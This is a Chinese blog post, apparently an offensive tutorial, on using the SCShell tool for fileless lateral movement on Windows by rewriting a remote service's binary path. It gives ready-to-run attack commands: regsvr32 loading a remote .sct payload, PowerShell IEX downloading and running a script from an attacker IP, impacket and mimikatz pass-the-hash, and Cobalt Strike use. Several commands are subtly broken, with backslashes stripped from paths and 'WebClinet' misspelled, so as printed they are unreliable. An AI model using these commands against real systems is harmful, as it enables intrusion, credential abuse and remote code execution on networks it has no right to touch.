横向移动--SCshell使用Service Manager进行无文件横向移动

2020-12-14 10:02:41 浏览数 (1)

1.简单介绍

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。

该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术)

一切都通过DCERPC执行。执行完成后,服务二进制路径将还原为原始路径

2.技术细节

首先,它创建身份验证,这个工具是使用LogonUserA API和ImpersonateLoggedOnUserA实现的。

一旦进程获取了正确的身份验证,即可使用OpenSCManagerA远程打开目标主机上Service Manager

使用OpenServiceA API打开远程服务并抛出错误

往下看是通过调用ChangeServiceConfigA API可以实现代码执行的效果。

通过查看微软文档我们可以知道API的第五个参数是用于启动服务的二进制路径

代码语言:javascript复制
BOOL ChangeServiceConfig(
 SC_HANDLE hService      // 打开服务时返回的句柄
 DWORD dwServiceType,    // 服务的类型
 DWORD dwStartType,      // 何时启动服务
 DWORD dwErrorControl, // 错误控制代码
 LPCTSTR lpBinaryPathName, // 服务的路径
 LPCTSTR lpLoadOrderGroup, // 服务所属的组
 LPDWORD lpdwTagId,      // 服务的标记
 LPCTSTR lpDependencies,     // 依赖的其它服务和组
 LPCTSTR lpServiceStartName,// 服务的启动用户
 LPCTSTR lpPassword,     //服务启动用户的密码
 LPCTSTR lpDisplayName       // 服务的显示名
);
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfiga

所以作者在第5个参数设置了个payload值,也就是给我们输入的值。这个路径的是绝对路径,这里不多说,可以参考微软的文档。

那么上面的代码就是调用ChangeServiceConfigA来将二进制路径名设置为我们提供的有效负载(就是执行我们的lpBinaryPathName中的值,)

可利用点就是在这个位置,原理不难理解,就是ChangeServiceConfigA API中的lpBinaryPathName的值可控。

例如调用powershell来远程加载木马或执行命令等等。

最后就是通过StartServiceA启动服务。

代码不难理解。

3.利用手法

作者给出的利用工具有包含exe,py和一个c语言的源码,其中exe和py能实现的功能并不一样。其实我个人觉得exe和py并不是很好用,所以powershell进行远程加载利用的话,我们就不用上传一个exe上去。后面花点时间写出来吧。

1. Windows 使用

Scshell需要以下参数:目标,服务,有效负载,用户名,账号,密码:

代码语言:javascript复制
1.SCShell.exe 192.168.197.131XblAuthManager"C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll". administrastor Password
# XblAuthManager 是 Xbox Accessory Management Service的服务名

例子:

我们使用这种手法来在目标主机中写入一个txt来证明可以利用

在win中

代码语言:javascript复制
scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c echo ' hello' > c:windowstemplat2.txt" . administrator 1qaz@wsx

在目标机器中我们可以看到写入一个txt

在cobalt Strike中

代码语言:javascript复制
shell .scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c echo ' hello' > c:windowstemplat2.txt" . administrator 1qaz@wsx

2. Linux 安装使用(使用py脚本可以使用散列传递来执行相同的横向移动。)

代码语言:javascript复制
1.pip install impacket
2.git clone https://github.com/Mr-Un1k0d3r/SCShell
3.cd https://github.com/Mr-Un1k0d3r/SCShell
4.python scshell.py ./administrator:cxzcxz@192.168.52.133# 执行cmd模式,没有命令回显
5.python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证

注意:无论是使用exe还是py脚本都是没有回显的。

3.可以使用该C程序传递哈希值。

有时情况下,将使用当前进程令牌。您可以使用标准传递哈希方法设置当前流程令牌。

在本地系统上

代码语言:javascript复制
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

然后在新创建的cmd.exe中运行SCShell.exe进行横向。

上面我们使用的是XblAuthManager,其实我们还可以使用defragsvc,msbuild等等

4.实战思路

这个不用多说了吧,简单就是远程调用powershell远程加载ps1上线,或执行一些命令。

代码语言:javascript复制
shell scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c powershell.exe IEX(New-Object Net.WebClinet).DownloadString('http://192.168.50.146:8000/123.ps1')" . administrator 1qaz@wsx

然后还有就是exe的话需要我们有目标主机的明文密码,但是,明文密码不好拿到,所以还是使用py脚本来传输hash进行横向好,当然后面我也会写一个powershell的出来。

从原理出发,举一反三就好

5.日志痕迹

使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息

0 人点赞